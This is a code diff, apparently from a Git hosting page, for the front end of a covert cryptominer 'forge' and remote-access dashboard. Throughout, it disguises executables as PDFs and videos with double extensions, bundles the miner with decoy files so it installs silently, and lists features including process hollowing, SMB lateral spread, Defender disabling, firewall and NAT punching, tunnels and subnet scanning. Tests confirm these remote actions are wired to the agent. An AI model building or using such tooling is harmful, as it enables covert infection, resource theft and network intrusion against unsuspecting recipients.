* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
|
||||
* "setup.exe" → "setup.exe" (run directly)
|
||||
*/
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
return disguisedWindowsRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
return defaultRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
|
||||
export function fusionPayloadKind(file: File | null | undefined): string {
|
||||
if (!file?.name) return 'file';
|
||||
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Windows runner filename that uses the double-extension trick.
|
||||
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
* Windows hides the .exe when extension hiding is on (the OS default), so the
|
||||
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
|
||||
*/
|
||||
export function disguisedWindowsRunnerName(payloadName: string): string {
|
||||
const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
if (ext === '.exe' || ext === '') {
|
||||
// Already an exe or no extension — no double-extension trick needed
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
|
||||
return base + '.exe';
|
||||
}
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
|
||||
return base + ext + '.exe';
|
||||
}
|
||||
|
||||
/** What the disguised Windows file looks like to the user (with ext hiding on). */
|
||||
export function disguisedDisplayName(payloadName: string): string {
|
||||
// Strips the trailing .exe → shows the double-extension name without .exe
|
||||
const runner = disguisedWindowsRunnerName(payloadName);
|
||||
return runner.replace(/\.exe$/i, '');
|
||||
}
|
||||
|
||||
/** Friendly label for a file type based on extension. */
|
||||
export function fusionFileTypeLabel(filename: string): string {
|
||||
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
const labels: Record<string, string> = {
|
||||
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
|
||||
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
|
||||
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
|
||||
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
|
||||
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
|
||||
txt: 'Text file', csv: 'CSV file',
|
||||
};
|
||||
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
|
||||
appdata: '%APPDATA%',
|
||||
programdata: '%ProgramData%',
|
||||
userprofile: '%USERPROFILE%',
|
||||
temp: '%TEMP%',
|
||||
home: '~',
|
||||
xdg_data_home: '~/.local/share',
|
||||
temp: '%TEMP% / /tmp',
|
||||
custom: '',
|
||||
};
|
||||
|
||||
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
|
||||
install_relative_path?: string;
|
||||
worker_name?: string;
|
||||
process_name?: string;
|
||||
target_os?: string;
|
||||
}): string {
|
||||
const targetOs = options.target_os || 'windows';
|
||||
const baseKey = options.install_base || 'localappdata';
|
||||
const base =
|
||||
baseKey === 'custom'
|
||||
? (options.install_custom_base?.trim() || '%CUSTOM%')
|
||||
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%');
|
||||
: (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
|
||||
|
||||
const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
|
||||
const process = sanitizeToken(options.process_name || worker, 'miner');
|
||||
@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
|
||||
.replace(/\{process\}/g, process);
|
||||
|
||||
rel = rel.replace(/^\/+|\/+$/g, '');
|
||||
|
||||
if (targetOs === 'universal') {
|
||||
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
|
||||
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
|
||||
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
|
||||
}
|
||||
|
||||
if (targetOs === 'linux' || targetOs === 'darwin') {
|
||||
const folder = rel ? `${base}/${rel}` : base;
|
||||
return `${folder}/${process}`;
|
||||
}
|
||||
|
||||
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
|
||||
return `${folder}\\${process}.exe`;
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
|
||||
|
||||
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
|
||||
const UI_REMOTE_ACTIONS = [
|
||||
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
|
||||
'get_log',
|
||||
'powershell',
|
||||
'upload',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
/** Implemented in agent/client/client.go handleCommand switch. */
|
||||
/** Implemented in agent/client (handleCommand + aggressive_commands). */
|
||||
const AGENT_HANDLED = new Set([
|
||||
'pause',
|
||||
'resume',
|
||||
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
|
||||
'ipconfig',
|
||||
'clipboard',
|
||||
'wifi',
|
||||
'hole_punch',
|
||||
'hole_punch_close',
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'mesh_status',
|
||||
]);
|
||||
|
||||
describe('remote action wiring', () => {
|
||||
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
|
||||
expect(AGENT_HANDLED.has(action)).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('gates hole punch when capability missing', () => {
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
|
||||
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
|
||||
});
|
||||
|
||||
it('blocks defender_off on darwin regardless of caps', () => {
|
||||
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
|
||||
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -69,15 +69,17 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled:
|
||||
'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.',
|
||||
'Fuse the miner with any file — PDF, video, Word doc, image, or executable. When the person opens the fusion package, their file opens normally while the miner installs silently in the background.',
|
||||
fusion_run_order:
|
||||
'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.',
|
||||
'When to open the decoy file vs. install the miner. Parallel = both happen at the same time (recommended — least delay). File first = file opens before miner starts. Miner first = miner installs first, file opens after.',
|
||||
fusion_prep:
|
||||
'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.',
|
||||
'Any file you want to use as a decoy — PDF, video (MP4/MOV/MKV), Word document, spreadsheet, image, or Windows executable. The recipient sees only their normal file; the miner installs silently. Max 2 GB.',
|
||||
fusion_media_mode:
|
||||
'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).',
|
||||
'All-in-one (embedded): the file is baked directly into the runner binary — one file to send, best for files under ~500 MB. ZIP bundle (paired): your original file + runners packaged in a ZIP — works for any size file.',
|
||||
fusion_output_name:
|
||||
'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.',
|
||||
'The name of the runner binary inside the ZIP (e.g. report-runner.exe). The recipient runs this to open their file and trigger the install. Leave blank to auto-generate from your file name.',
|
||||
fusion_batch:
|
||||
'Queue multiple files at once — each one produces its own separate universal ZIP. Great for delivering a folder of documents or videos. The recipient only needs to run the launcher for their OS.',
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
@@ -96,4 +98,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
process_hollowing: 'Memory injection: runs the miner invisibly inside a legitimate Windows process (e.g., svchost.exe) instead of the normal executable. Extremely stealthy.',
|
||||
mesh_p2p: 'Mesh Networking: If the control server is unreachable, route mining shares through other connected agents on the same local network.',
|
||||
auto_spread: 'Lateral Movement: Silently attempts to copy and execute the miner on other machines in the local network using Windows SMB and Service Control Manager (SCM). Relies on the current user having network admin privileges.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
|
||||
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
|
||||
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
|
||||
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
|
||||
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user